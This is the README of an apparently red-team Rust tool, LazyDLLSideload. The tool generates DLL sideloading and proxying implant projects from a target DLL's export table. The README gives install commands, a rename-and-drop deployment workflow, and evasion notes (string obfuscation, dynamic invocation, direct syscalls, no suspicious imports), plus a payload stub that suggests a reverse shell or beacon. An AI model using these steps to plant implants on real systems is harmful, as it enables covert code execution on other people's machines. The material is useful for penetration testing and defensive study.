Files
staffs@smukx.site 731cbf4826 Upload
2026-06-17 23:56:41 +05:30

7.4 KiB

LazyDLLSideload

A Rust-based tool for generating DLL proxy and sideload projects for red team engagements. Parses PE export tables and produces ready-to-compile Rust projects with your payload embedded.

Overview

LazyDLLSideload automates building DLL proxying and sideloading implants.

  • Uses the windows_sys ecosystem.
  • Parses any Windows DLL to extract exported functions.
  • Generates complete Rust projects.
  • Obfuscates strings. Decrypts at runtime.
  • Supports two operation modes. Sideload and Proxy.
  • Uses dyncvoke for dynamic invocation and syscall execution in proxy loads.

Installation

Install as package

Install once. Run from any path.

cargo install LazyDLLSideload

Clone the repository

git clone https://git.smukx.site/smukx/LazyDLLSideload.git
cd LazyDLLSideload
cargo b -r ; cp target/release/LazyDLLSideload.exe . 

Usage

Mode 1: Sideload

Sideload mode creates a DLL to replace the original. Your payload runs when a target export is called. The original DLL never loads. This is a pure sideload attack.

How It Works

  1. Parses the target DLL to collect all exported functions.
  2. Generates stub functions for all exports except the hijacked one.
  3. Creates a lib.rs with the hijacked function. Your payload runs from there.
  4. On build, you get a DLL with all the required exports.

Example

# Generate sideload project for libvlc.dll
./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_new

This generates a project where:

  • libvlc_new is the hijacked export and triggers the payload.
  • All other exports are empty stubs.
  • The target app loads your DLL directly.

POC:

Sideloading VLC


Mode 2: Proxy Mode

Proxy mode creates a DLL with three jobs:

  1. Forwards all function calls to the original (renamed) DLL.
  2. Intercepts one specific function to execute your payload.
  3. Maintains full functionality of the original DLL.

This is the classic proxying technique. The original DLL is renamed. Your proxy DLL takes its place, forwards calls, and intercepts specific functions.

Key Components

1. The Dispatch Function

The dispatch function is the core of the proxy. It:

  • Loads the original DLL dynamically via dyncvoke.
  • Resolves function addresses at runtime with GetFunctionAddress.
  • Caches resolved addresses in a callback table to avoid repeated lookups.
  • Uses a sync lock so the payload runs only once.
fn dispatch_call(
    a1-u64, a2-u64, ..., a20-u64,
    export_id: u32  // Which function was called (0 = hijacked)
) -> u64

2. Export Forwarding

The .def file forwards non-hijacked exports to the original DLL:

LIBRARY TextShaping
EXPORTS
    BuildOtlCache=Shaping.BuildOtlCache @1
    FreeOtlResources=Shaping.FreeOtlResources @2
    GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3
    ...
    ShapingCreateFontCacheData @12    ; Hijacked - handled by dispatch_call

This tells the Windows loader to forward calls to Shaping.dll (the renamed original) on its own.

3. Dynamic Function Invocation (dyncvoke)

The tool uses dyncvoke:

  • Better OPSEC. No import table entries for the original DLL.
  • Syscalls. Set NATIVE = true to use NtCreateThreadEx for thread creation.
  • No suspicious imports. The proxy DLL has no explicit dependency on the target DLL.
// Dynamically load the original DLL at runtime
let module_handle = load_library_a(DLL_NAME);

// Resolve the function dynamically
let proc_addr = get_function_address(module_handle, &proc_name);

Two Path Modes

Relative Path Mode (Default)

Note: For relative path mode, place the original dll next to LazyDLLSideload.exe.

You give it a relative path like -p ./TextShaping.dll:

./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll

POC:

Relative Path Mode

Generated .def forwarding:

BuildOtlCache=Shaping.BuildOtlCache @1

Absolute Path Mode

You give it an absolute path like -p C:\Windows\System32\TextShaping.dll:

1. No renaming needed
2. Deploy the YourProxy.dll in the target directory.
3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll"
4. The proxy dll loads the original DLL directly from system32 and forwards to it.
./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData

Generated .def forwarding:

BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1

POC:

Absolute Path Mode


Usage

Build the Tool

cargo build --release
cp target/release/LazyDLLSideload.exe .

Sideload Mode

./LazyDLLSideload.exe -m sideload -p <path_to_dll> -e <export_to_hijack>

Proxy Mode

# Relative path mode
./LazyDLLSideload.exe -m proxy -p <path_to_dll> -e <export_to_hijack> -n <renamed_dll>

# Absolute path mode
./LazyDLLSideload.exe -m proxy -p <absolute_path_to_dll> -e <export_to_hijack>

Options

Option Description
-m, --mode Mode: sideload or proxy
-p, --path Path to target DLL
-e, --export Export function name to hijack
-n, --name Original DLL name after renaming (relative proxy path mode only)

Project Structure

Sideload Mode

project_name/
├── Cargo.toml          # Minimal dependencies (windows-sys only)
└── src/
    ├── lib.rs          # DllMain + hijacked function + payload
    └── forward.rs      # Stub functions for all other exports

Proxy Mode

project_name/
├── Cargo.toml          # Includes dyncvoke dependency
├── build.rs            # Links proxy.def
├── proxy.def           # Export table with forwarding
├── dyncvoke/        # Dynamic invocation library
└── src/
    ├── lib.rs          # Gateway + hijacked function
    └── forward.rs      # Stub functions (satisfies linker)

Payload Customization

The default payload shows a MessageBox. To customise, edit the generated lib.rs:

fn initialize_component() {
    // Your custom payload here
    // Example: reverse shell, beacon, etc.
}

Native Syscall Mode

In proxy mode, syscalls run by default. Toggle them with:

const NATIVE: bool = true;  // Use NtCreateThreadEx via syscall
// vs
const NATIVE: false;       // Use std::thread::spawn

Example Workflow (Relative Path Mode)

1. Identify Target DLL

# Find a DLL the application loads
procmon.exe -> Filter: "Path ends with TextShaping.dll"

2. Generate Proxy

./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll

3. Build

cd TextShaping
cargo build --release

4. Deploy

# Copy and rename original dll 
rename TextShaping.dll Shaping.dll

# Deploy
copy target\release\TextShaping.dll .
copy Shaping.dll .

# The target app loading TextShaping.dll now:
# - Gets full functionality via forwarding
# - Executes the payload when ShapingCreateFontCacheData is called
# - Forwards to the original renamed dll Shaping.dll

Requirements

  • Rust (1.70+)
  • Visual Studio Build Tools (MSVC)
  • Windows target: rustup target add x86_64-pc-windows-msvc

LICENSE

Released under MIT LICENSE.